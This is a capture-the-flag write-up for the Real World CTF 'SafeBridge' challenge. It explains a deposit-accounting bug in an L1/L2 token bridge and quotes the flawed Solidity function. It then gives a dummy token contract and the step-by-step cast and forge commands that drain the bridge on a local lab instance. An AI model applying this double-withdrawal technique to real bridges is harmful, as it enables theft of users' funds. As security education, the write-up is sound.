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Real-World-CTF-6th-Challenge-SafeBridge.md

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HarryRiddle

Analysis

  • The objective is to drain all the funds of the L1 bridge. The balances of L1 bridge is 2 ether as in the setup.

  • This project is the bridge between Layer1 and Layer2 to bridge the assets or message. There is an off-chain mechanism called relayer to catch the message in one layer and enforce the transaction in other layer.

Finding Bugs

  • When deposit pair (Layer1WETH, anyToken) in Layer1Bridge, it will send the message to Layer2Bridge with (Layer1WETH, Layer2WETH) pair but the deposits map store the amount for (Layer1WETH, anyToken) pair.
  • Illustration when we execute depositERC20(WETH, anyToken, 1 ether)
    • On the L1 side, the deposits[WETH][anyToken] += 1 ether
    • However, on the L2 side, 1 ether of WETH tokens will be minted instead of 1 ether of anyToken.
    • We will withdraw WETH from L2 and receive WETH on L1 chain. The important thing is that the map value of (WETH, anyToken) is not reduced but (Layer1WETH, Layer2WETH) occurs.

=> So we can exploit this bug to drain all funds.

  • POC:
    function _initiateERC20Deposit(
        address _l1Token,
        address _l2Token,
        address _from,
        address _to,
        uint256 _amount
    ) internal {
        IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);

        bytes memory message;
        if (_l1Token == weth) {
            message = abi.encodeWithSelector(
                IL2ERC20Bridge.finalizeDeposit.selector,
                address(0),
@>              Lib_PredeployAddresses.L2_WETH,
                _from,
                _to,
                _amount
            );
        } else {
            message = abi.encodeWithSelector(
                IL2ERC20Bridge.finalizeDeposit.selector,
                _l1Token,
                _l2Token,
                _from,
                _to,
                _amount
            );
        }

        sendCrossDomainMessage(l2TokenBridge, message);
        deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;

        emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
    }

Exploitation

  • Ensuring the Docker is on and we run the deploy.sh file with ./deploy.sh all command.

  • Running nc localhost 1337 command to open the choice table in console screen. (Select 1)

    nc localhost 1337

    1 - launch new instance
    2 - kill instance
    3 - get flag
    action?
  • Get the player's address:
    cast wallet address --private-key <PRIVATE_KEY>
  • Get addresses of the WETH and Bridge in Layer1 chain.
    cast call <CHALLENGE_CONTRACT_ADDRESS> "WETH()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY>
    cast call <CHALLENGE_CONTRACT_ADDRESS> "BRIDGE()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY>
  • Deploy the RandomToken contract in Layer2 chain.
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RandomToken {
    address public l1Token;
    constructor(address _l1Token) {
        l1Token = _l1Token;
    }

    function mint(address to, uint256 amount) external {}

    function burn(address to, uint256 amount) external {}
}
    forge create ./src/RandomToken.sol:RandomToken --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> --constructor-args <L1_WETH>
  • Deposit Ether to WETH contract with 2 ether value.
    cast send <L1_WETH> "deposit()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> --value 2ether
  • Approve WETH for L1_BRIDGE
    cast send <L1_WETH> "approve(address,uint256)" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> -- <L1_BRIDGE> 2000000000000000000
  • Deposit RandomToken to L1_BRIDGE1
    cast send <L1_BRIDGE> "depositERC20(address,address,uint256)" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> -- <L1_WETH> <RANDOM_TOKEN> 2000000000000000000
  • To ensure we deposited (WETH, RANDOM_TOKEN, 2ether) in L1 and received WETH in L2. We will enter this command
    cast call <L2_WETH> "balanceOf(address)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <PLAYER>
  • We will withdraw all tokens in L1_BRIDGE by 2 transactions, one is L2_WETH withdraw and last is RANDOM_TOKEN withdraw.
    cast send <L2_BRIDGE> "withdraw(address,uint256)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <L2_WETH> 2000000000000000000

    cast send <L2_BRIDGE> "withdraw(address,uint256)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <RANDOM_TOKEN> 2000000000000000000
  • Run this command again and press 3 to check the finished.
    nc localhost 1337

    1 - launch new instance
    2 - kill instance
    3 - get flag
    action?